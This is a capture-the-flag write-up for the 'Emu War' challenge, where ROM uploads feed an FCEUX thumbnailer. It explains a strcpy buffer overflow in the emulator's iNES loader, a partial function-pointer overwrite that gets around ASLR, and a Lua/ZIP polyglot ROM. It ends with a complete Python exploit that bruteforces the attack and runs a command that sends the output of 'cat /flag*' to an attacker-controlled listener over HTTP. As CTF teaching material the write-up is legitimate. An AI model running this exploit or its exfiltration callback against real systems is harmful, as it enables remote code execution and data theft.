Time for an Emu War.
Pl0x upload your coolest ROMs, here is mine :>.
Download: Emu War-35eccd2af489ec05.tar.xz (495.9 KiB)
Connection:http://78.47.138.71:65000/
This challenge allows uploading ROMs to an online service. ROMs are stored in
a per-user files/$random_hex_string/
directory, as category/name
(both of
which are not sanitized, but PHP applies basename
to the filename itself).
In theory, this allows path traversal, but the challenge setup should prevent
access to any critical information. However, we can control the path that is
passed to the thumbnail.sh
script.
thumbnail.sh
seems like a lot, but all it really does is spawn Xvfb
, launch
fceux
with the user-provided ROM, take a screenshot, and then clean up.
Within FCEUX, there are buffer overflows and calls to strcpy
everywhere, so
there may well be solutions that differ a little, but that is OK. The reference
solution exploits a buffer overflow in iNESLoad
(ines.cpp:900), where the path
of the ROM file (generally argv[1]
) is copied without checks into the global
LoadedRomFName
buffer (which is only 2048 bytes large):
To get to that point, we need to supply a valid ROM in iNES format. Because the
filename is so long, we also overwrite a bunch of other globals and smash the
stack in FCEUI_LoadGameVirtual
, but the attack finishes before we return from
that function, so the canary check is never triggered.
If the path is long enough, we overflow LoadedRomFName
into the iNESCart
global, which contains a function pointer as its first member
(CartInfo::Power
).
After returning from iNESLoad
, FCEU_LoadGameVirtual
eventually calls
PowerNES()
, which calls GameInterface(GI_POWER)
. GameInterface
is a
global function pointer that was set in iNESLoad
to point to iNESGI
, so
that we ultimately end up calling iNES_ExecPower()
. That function sets up the
emulator’s memory and then calls iNESCart.Power()
:
To bypass ASLR, we only partially overwrite the pointer in iNESCart.Power
. By
default, it points to the LatchPower
function (from datalatch.cpp).
Because strcpy
always writes the null byte, we are somewhat limited in the
number of functions we can call without bruteforcing too many bits of ASLR state.
We limit ourselves to 12 bits of bruteforcing (1 in 4096 attempts, which is
reasonable). In particular, we can only reach 16 pages past the start of the
page on which the original function resides, but we can reach backwards quite a
bit further.
This happens because we assume that our target function is in a range of pages
with an address scheme of 00????
. If the target is supposed to be after the
original value, there are at most 0xffff
locations for the original address
(where everything except for the last two bytes are the same), and I could not
find anything useful there. On the other hand, if we want the target to be
before the original value, we can overwrite the third byte with the null byte
without any issues as long as the difference between what would map to 000000
(close to our target) and the original function is less than 0x1000000
- a
factor of 256 more.
The best target that I found is FCEUX’s Lua support. FCEUX runs a Lua script by
calling FCEU_LoadLuaCode
, but that requires a path in rdi
. We can, however,
jump into the middle of FCEU_ReloadLuaCode
to load and run a piece of Lua code
in a file named \xbe
(in bash, you can instead use $'\276'
):
; iNES_ExecPower
call rax
; FCEU_ReloadLuaCode
mov rsi, 0
mov rdi, rax
call FCEU_LoadLuaCode
This works because the byte representation of the mov rsi, 0
instruction is
be 00 00 00 00
, and rax
still points to that location. Other calls to
FCEU_LoadLuaCode
follow exactly the same sequence, but are generally placed
after the LatchPower
function, so we cannot reach them. In our build, the
jump target is at 0x957dd
, so we end our (overflowing) path with the byte
sequence dd 87
(which is also a valid UTF-8 character, in case that causes
trouble). For reference, LatchPower
is at 0xb7be3
.
Finally, use Lua’s os.execute
to obtain the flag (cat /flag_*
) and leak the
result. As far as I could tell, the version of Lua inside FCEUX does not support
network operations, but we know that PHP is installed on the server, so we can
use file_get_contents
to connect back to a server controlled by the attacker:
require('os');
os.execute('php -r \'file_get_contents("http://192.0.2.42:65000/".urlencode(`cat /flag*`));\'');
The only thing missing is to find a way to keep the \xbe
file on the server.
Clearly, we cannot simply upload the Lua script (trying to take a screenshot
would fail, so the server will remove an invalid ROM), so you need to create a
file that is both valid Lua code and accepted as a ROM by FCEUX. An easy way
to do this is to (ab)use FCEUX’s ability to extract ROMs from ZIP files (see
the TryUnzip
function at file.cpp:189):
--]]
and end with --[[
)zipfile
module)--[[
and --]]
to comment out everything
that is not the Lua script. This breaks some of the length fields inside the
ZIP file, but FCEUX doesn’t really care about that.
Here is the full exploit code (you need to provide a valid NES ROM to -r
; if
you do not have access to one, you can use the ROM provided in the challenge
description):
#!/usr/bin/env python3
import argparse
import enum
import http.server
import io
import os
import random
import socket
import string
import sys
import threading
import time
import urllib.parse
import zipfile
def as_http(string):
return textwrap.dedent(string).lstrip('\n').encode().replace(b'\n', b'\r\n')
def random_token():
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=26))
class upload_status:
OK = 0
THUMBNAILER_FAILED = 1
OTHER_ERROR = 2
def upload(rhost, rport, content, category, filename, phpsessid, mime='application/x-nes-rom'):
boundary = random_token() # Literally whatever...
with socket.socket(socket.AF_INET) as so:
so.connect((rhost, rport))
content = b'--' + boundary.encode() + b'\r\n' + \
b'Content-Disposition: form-data; name="category"\r\n' + \
b'\r\n' + \
category + b'\r\n' + \
b'--' + boundary.encode() + b'\r\n' + \
b'Content-Disposition: form-data; name="rom"; filename="' + filename + b'"\r\n' + \
b'Content-Type: ' + mime.encode() + b'\r\n' + \
b'\r\n' + \
content + b'\r\n' + \
b'--' + boundary.encode() + b'--\r\n'
request = b'POST / HTTP/1.1\r\n' + \
b'Host: ' + rhost.encode() + b':' + str(rport).encode() + b'\r\n' + \
b'Cookie: PHPSESSID=' + phpsessid.encode() + b'\r\n' + \
b'User-Agent: hxp/3.14\r\n' + \
b'Accept: */*\r\n' + \
b'Content-Length: ' + str(len(content)).encode() + b'\r\n' + \
b'Content-Type: multipart/form-data; boundary=' + boundary.encode() + b'\r\n' + \
b'\r\n' + \
content
so.sendall(request)
response = so.recv(4096)
if response.startswith(b'HTTP/1.1 302 Found\r\n'): # Redirects on success
return upload_status.OK, response
elif b'failed to create thumbnail' in response:
return upload_status.THUMBNAILER_FAILED, response
else:
return upload_status.OTHER_ERROR, response
done_event = threading.Event()
print_lock = threading.Lock()
class Handler(http.server.BaseHTTPRequestHandler):
def respond(self):
self.send_response(204)
self.send_header('Content-Length', '0')
self.end_headers()
with print_lock:
print('[*] Handling request from', self.address_string(), file=sys.stderr)
print(urllib.parse.unquote(self.path.lstrip('/')))
done_event.set()
def log_message(self, *args, **kwargs):
pass # No logging by default.
do_HEAD = respond
do_GET = respond
p = argparse.ArgumentParser()
p.add_argument('-R', '--rhost', help='Address of the target (remote) host', default='localhost')
p.add_argument('-p', '--rport', help='Port on the target (remote) host', default=8019, type=int)
p.add_argument('-L', '--lhost', help='Address of the listening host from the remote target', default='127.0.0.1')
p.add_argument('-P', '--lport', help='Listening port on the local PC', default=38019, type=int)
p.add_argument('-S', '--shost', help='Address to listen on (i.e. the local address of the local host on the accessible interface)', default='0.0.0.0')
p.add_argument('-c', '--command', help='Command to execute', default='cat /flag_*')
p.add_argument('-r', '--rom', help='Valid iNES source ROM', default='zahjebischte.nes')
p.add_argument('-j', '--threads', help='Number of request threads to run simultaneously', default=8, type=int)
args = p.parse_args()
# Create upload path
DESIRED_LENGTH = 2146 # This length leads to the correct overflow size
upload_name = b'\xdd\x87' # Overflow is in the category name, because maximum filename length is 255.
path_length = len(b'/var/www/html/files/') + 64 + len(b'/') + len(b'/' + upload_name) # This is server-generated, with the category name between the last two slashes
category_base = b'Pwning'
category_name = category_base
while len(category_name) < (DESIRED_LENGTH - path_length):
category_name += b'/'
print('[*] Path length is', len(b'/var/www/html/files/28edb8be371e48f6a178bfe05fef4f591571a37f81e393296cf4be9e5f7bdea8/' + category_name + b'/' + upload_name), file=sys.stderr)
with open(args.rom, 'rb') as rom_file:
rom = rom_file.read()
# Create polyglot
polyglot = io.BytesIO()
lua_pwn = f"""\n--]]\nrequire('os');os.execute('php -r \\'file_get_contents("http://{args.lhost}:{args.lport}/".urlencode(`{args.command}`));\\'');\n--[[\n"""
with zipfile.ZipFile(polyglot, mode='w', compression=zipfile.ZIP_STORED) as zf:
zf.writestr("pwn.lua", lua_pwn.encode())
zf.write(args.rom, arcname=os.path.basename(args.rom))
polyglot = b'--[[\n' + polyglot.getvalue() + b'\n--]]\n'
# Start server
server = http.server.ThreadingHTTPServer((args.shost, args.lport), Handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()
# Run
index = 1
index_lock = threading.Lock()
def run(thread_id):
global index
rate = args.threads / 6 # 8 requests per second, but leave some space
age = 0
while not done_event.is_set():
with index_lock:
this_index = index
index += 1
if this_index % 100 == 0:
with print_lock:
print('[*] Attempt', this_index, file=sys.stderr)
attempt_start = time.perf_counter()
if attempt_start - age > 15 * 60:
# 15 minutes passed, change PHPSESSID and try again
phpsessid = random_token() # Whatever... Make the server use this as our session ID - has a valid format!
age = attempt_start
with print_lock:
print('[{}] PHPSESSID ='.format(thread_id), phpsessid, file=sys.stderr)
# Use category_base for this upload to actually make sure the ROM stays on the server.
status, response = upload(args.rhost, args.rport, polyglot, category_base, b'\xbe', phpsessid, 'application/zip')
if status != upload_status.OK:
print('[!] Failed to upload polyglot', file=sys.stderr)
print('[!] Response was', response, file=sys.stderr)
os._exit(1)
status, response = upload(args.rhost, args.rport, rom, category_name, upload_name, phpsessid)
if status != upload_status.THUMBNAILER_FAILED:
with print_lock:
print('[!] Upload failed for attempt', this_index, file=sys.stderr)
print('[!] Response was', response, file=sys.stderr)
attempt_end = time.perf_counter()
wait_time = rate - (attempt_end - attempt_start)
if wait_time > 0:
time.sleep(wait_time)
threads = []
for thread_id in range(args.threads - 1):
thread = threading.Thread(target=run, args=(thread_id + 1,))
threads.append(thread)
thread.start()
run(args.threads) # Last thread is the main thread
for thread in threads:
thread.join()
server.shutdown()
server_thread.join()
This will usually take a few thousand attempts, so spin it up, wait 15 minutes,
and pick up your flag. Make sure, however, that you are actually listening and
reachable for the back-connection (you can also listen on a server with nc
and
just manually interrupt the exploit when the flag shows up there in case you do
not have a public IP address):
hxp{if_you_are_happy_and_you_know_it_use_strcpy}